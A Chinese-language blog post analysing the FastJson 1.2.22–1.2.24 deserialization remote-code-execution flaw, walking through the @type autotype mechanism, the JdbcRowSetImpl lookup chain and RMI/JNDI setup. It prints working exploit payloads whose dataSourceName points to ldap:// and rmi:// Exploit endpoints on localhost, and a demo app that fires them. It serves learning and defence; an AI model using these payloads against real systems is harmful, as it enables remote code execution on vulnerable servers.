FastJson 反序列化漏洞原理分析

FastJson 简介

fastjson框架下载:https://github/alibaba/fastjson

fastjson-jndi 下载:https://github.com/earayu/fastjson_jndi_poc

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。

提供两个主要接口:

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

漏洞原理

fastjson就是为了知道传入的值是水果里的苹果类型还是水果里的苹果手机类型。加了autotype机制导致的。因为他为了知道是什么详细类型,每次都需要读取下@type导致的。

Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。

攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

FastJson 序列化操作

序列化

Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);   
	//漏洞的关键点在@type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonString);
System.out.println(jsonString2);

请添加图片描述

反序列化

    //反序列化
System.out.println("反序列化");
    //String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";      		//payload 写在恶意类Student中。但是类在服务端,如何去创建,如何写payload
String json_ser2 = "{\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser2,Student.class,Feature.SupportNonPublicField);
    //Feature.SupportNonPublicField 获取类中的私有变量
Student stu2 = (Student) JSON.parseObject(json_ser2,Object.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());

序列化 String json_ser2 = “{“name”:“jack”}” ;会报错

序列化 String json_ser = “{”@type":“com.company.Student”,“name”:“jack”}"; 不会报错

因此能够执行反序列化的根源定位在 @type

请添加图片描述
请添加图片描述

调用链分析原理

可利用的 fastjson版本:[1.2.22,1.2.24]。高版本没有此漏洞

思路:类在服务端,如何去创建,如何写payload。

 //LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
 //RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";

这就用到了JNDI。JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等

JNDI注入发生在客户端的lookup()中,如果lookup()的参数可控即可导致被攻击

运行SomeFastjsonApp,可以直接打开电脑中的计算器

请添加图片描述

定位 com.sun.rowset.JdbcRowSetImpl 这个类(在jdk的rt.jar中的 com.sun.rowset)

然后定位 setDataSourceName 方法

请添加图片描述

在JdbcRowSetImpl 这个类 中定位autocommit

请添加图片描述

然后 按下ctrl + 鼠标左键,点击connect方法,继续定位

看到一个lookup方法,其中getDataSoureceName可控,这就是漏洞可以利用的原理

请添加图片描述

利用过程分析

RMI 的实现

  1. RMI是 Java中 专为 JAVA 环境设计的 远程方法调用机制

  2. 远程对象能在rmi服务器上注册

  3. 指向web服务器

服务端

public class RegistryService {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            Registry registry = LocateRegistry.createRegistry(1099);
            // 创建一个远程对象
            HelloRegistryFacade hello = new HelloRegistryFacadeImpl();
            // 把远程对象注册到RMI注册服务器上,并命名为HelloRegistry
            registry.rebind("HelloRegistry", hello);
            System.out.println("======= 启动RMI服务成功! =======");
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}

客户端

public class RegistryClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloRegistryFacade hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");
            String response = hello.helloWorld("ZhenJin");
            System.out.println("=======> " + response + " <=======");
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

JNDI

JNDI是Java命令和目录接口,提供了查找各种命名和目录服务的统一的接口。

简单理解就是:java微服务中的注册中心

JNDI 借助目标服务器上的一个类jdbcRowSetImpl,让目标服务器访问远程rmi服务器(rmi://127.0.0.1:1099/Exploit),得到响应后执行相应操作

服务器端代码构造
  1. 在jndi的 JNDIServer类中构造

请添加图片描述

  1. rmi服务端 需要一个Exploit.class 放到 rmi 指向的 web服务器目录下,这个Exploit.class 是一个factory ,通过Exploit.java编译得来,在 JNDI 执行的过程中会被初始化。如下是Exploit.java的代码

请添加图片描述

  1. 服务端构造好之后,下面来看 payload
public class SomeFastjsonApp {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //LADP 方式
        String payload1 = "		{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
        
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }

}

总结

1. fastjson 利用过程

fastjson中,在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行,我们给此类中的 setDataSourcesName 输入恶意内容(rmi链接),让目标服务在反序列化的时候,请求rmi服务器,执行rmi服务器下发的命令,从而导致远程命令执行漏洞

2. 恶意类怎么上传到服务端

通过jndi在服务端创造一个有危害的类,目标服务器收到rmi的命令之后,就会加载这个jndi生成的恶意类

3. fastjson rce的原理

jdk 中的 jdbcRowSetImpl 类中的 setAutoCommit 方法中的 lookup方法中的 getDataSourcesName 参数输入可控

参考

idea导jar包教程:https://www.pianshen.com/article/40051976554/

  • 3
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值